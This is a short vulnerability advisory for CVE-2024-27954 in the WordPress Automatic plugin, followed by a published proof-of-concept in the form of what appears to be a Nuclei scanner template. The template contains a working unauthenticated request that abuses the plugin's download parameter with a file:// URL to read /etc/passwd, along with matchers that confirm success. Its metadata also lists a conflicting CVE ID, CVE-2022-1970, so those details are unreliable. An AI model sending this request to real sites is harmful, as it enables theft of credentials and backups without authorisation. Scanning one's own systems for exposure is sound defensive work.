WordPress Automatic plugin <3.92.1 is vulnerable to unauthenticated Arbitrary File Download and SSRF Located in the downloader.php file, could permit attackers to download any file from a site. Sensitive data, including login credentials and backup files, could fall into the wrong hands. This vulnerability has been patched in version 3.92.1.
PoC代码[已公开]
id: CVE-2024-27954
info:
name: WordPress Automatic Plugin <3.92.1 - Arbitrary File Download and SSRF
author: iamnoooob,rootxharsh,pdresearch
severity: critical
description: |
WordPress Automatic plugin <3.92.1 is vulnerable to unauthenticated Arbitrary File Download and SSRF Located in the downloader.php file, could permit attackers to download any file from a site. Sensitive data, including login credentials and backup files, could fall into the wrong hands. This vulnerability has been patched in version 3.92.1.
reference:
- https://wpscan.com/vulnerability/53b97401-1352-477b-a69a-680b01ef7266/
- https://securityonline.info/40000-sites-exposed-wordpress-plugin-update-critical-cve-2024-27956-cve-2024-27954/#google_vignette
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-27954
classification:
cvss-score: 9.8
cve-id: CVE-2022-1970
cwe-id: CWE-918
epss-score: 0.93522
epss-percentile: 0.99817
metadata:
verified: true
max-request: 1
publicwww-query: "/wp-content/plugins/wp-automatic"
tags: wpscan,cve,cve2024,wp,wordpress,wp-plugin,lfi,ssrf,wp-automatic,vkev,vuln
http:
- method: GET
path:
- "{{BaseURL}}/?p=3232&wp_automatic=download&link=file:///etc/passwd"
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"link":"file:'
- type: regex
regex:
- "root:.*:0:0:"
# digest: 490a00463044022021fdaf9bd194303506cfecdd2ddd0a2858fd28355489d50a87d62efc068aaf1c02201f4810befcbe7aef7b18420d8dab0f9c72cd379380df562a0040468f3fa4fd16:922c64590222798bb761d5b6d8e72950